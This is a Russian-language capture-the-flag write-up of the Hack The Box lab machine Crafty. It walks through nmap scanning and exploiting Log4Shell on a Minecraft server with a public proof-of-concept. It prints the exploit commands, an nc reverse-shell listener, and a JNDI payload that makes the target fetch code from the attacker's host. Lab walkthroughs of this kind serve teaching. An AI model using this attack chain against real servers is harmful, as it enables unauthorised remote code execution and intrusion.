Сегодня, на примере намеренно уязвимой машины Crafty с платформы Hack The Box я покажу, как атаковать сервер Minecraft эксплуатируя уязвимость Log4j.
Еще по теме: Установка сканера уязвимости Log4J
Подключение и сканирование
Итак, мы подключились к машине с Hack The Box через VPN. Добавили IP-адрес машины в /etc/hosts:
1 |
10.10.11.249 crafty.htb |
Подробнее о подключении к Hack The Box, см. в статье «Как использовать Hack The Box».
И запустили сканирование портов Nmap:
1 2 3 |
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 |
Этот скрипт сначала выполняет быстрое сканирование, а затем более тщательное с использованием имеющихся скриптов (опция -A).
Сканер смог найти 2 открытых порта:
- 80 — веб-сервер Microsoft IIS 10.0;
- 25565 — сервер Minecraft 1.16.5.
Сначала мы проверили веб-сервер и обнаружили одностраничный сайт, который раскрыл еще один поддомен.
Добавили новый поддомен в файл /etc/hosts:
1 2 |
10.10.11.249 crafty.htb 10.10.11.249 play.crafty.htb |
Сканирование ни первого, ни второго сайта ничего не дало, поэтому мы перешли к серверу Minecraft.
Взлом Minecraft через уязвимость Log4j
Проверили, есть ли для обнаруженного софта готовые эксплоиты. Существуют специальные базы данных уязвимостей, такие как Exploit-DB, но для начала просто выполнили поиск в Google. По запросу «Minecraft 1.16.5 exploit» узнали, что в этой версии сервера есть уязвимый компонент Log4j.
Теперь на GitHub находим эксплоит, который позволяет получить удаленное выполнение кода (RCE).
Log4J — это библиотека для логирования в Java, широко используемая в различных программных приложениях для записи и управления логами. В конце 2021 года была обнаружена серьезная уязвимость в Log4J, известная как Log4Shell, которая позволяет удаленно выполнять произвольный код, что представляет серьезную угрозу для безопасности множества систем по всему миру.
О том, как устроена уязвимость Log4Shell в средстве логирования Log4j, в статье «Способы эксплуатации уязвимости Log4j».
Автор эксплоита подразумевает, что сервер развернут на Linux, а в нашем случае используется Windows. Поэтому в исходном коде нужно изменить интерпретатор командной оболочки с /bin/sh на cmd.exe (строка 26).
При запуске кода нужно использовать параметры —userip и —lport, задающие адрес и порт листенера для подключения реверс‑шелла. Порт веб‑сервера, с которого будет загружаться нагрузка, необходимо передать в параметре --webport.
1 2 3 |
git clone https://github.com/kozmer/log4j-shell-poc cd log4j-shell-poc python3 poc.py --userip 10.10.16.143 --webport 8000 --lport 4321 |
Получаем сообщение об ошибке: исполняемый файл Java не найден. Дело в том, что у нас не установлен JDK, качаем его с сайта Oracle.
1 2 3 |
wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz tar -xf jdk-8u181-linux-x64.tar.gz mv jdk1.8.0_181 jdk1.8.0_20 |
Если повторить запуск эксплоита, он остановится и будет слушать порт 1389 и ждать запрос от нагрузки Log4j.
1 |
python3 poc.py --userip 10.10.16.143 --webport 8000 --lport 4321 |
Так как мы ожидаем подключение от реверс‑шелла, запустим листенер:
1 |
rlwrap nc -nlvp 4321 |
Затем используем консольный клиент для подключения к серверу Minecraft. После запуска задаем адрес сервера 10.10.11.249:25565, а когда соединение установлено, отправляем нагрузку:
1 |
${jndi:ldap://10.10.16.143:1389/a} |
Почти моментально получаем запрос от нагрузки, а затем и сессию на листенере.
Мы можем зайти от имени пользователя и забрать флаг.
Заключение
Мы успешно провели разведку и сканирование портов машины Crafty с Hack The Box, выявив открытые порты веб-сервера Microsoft IIS 10.0 и сервера Minecraft 1.16.5. Обнаружили уязвимость в компоненте Log4j на сервере Minecraft, что предоставило нам точку входа для дальнейших атак.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Задание по форензике DetectLog4j CyberDefenders
- Развернул Honeypot во времена Log4J и вот что произошло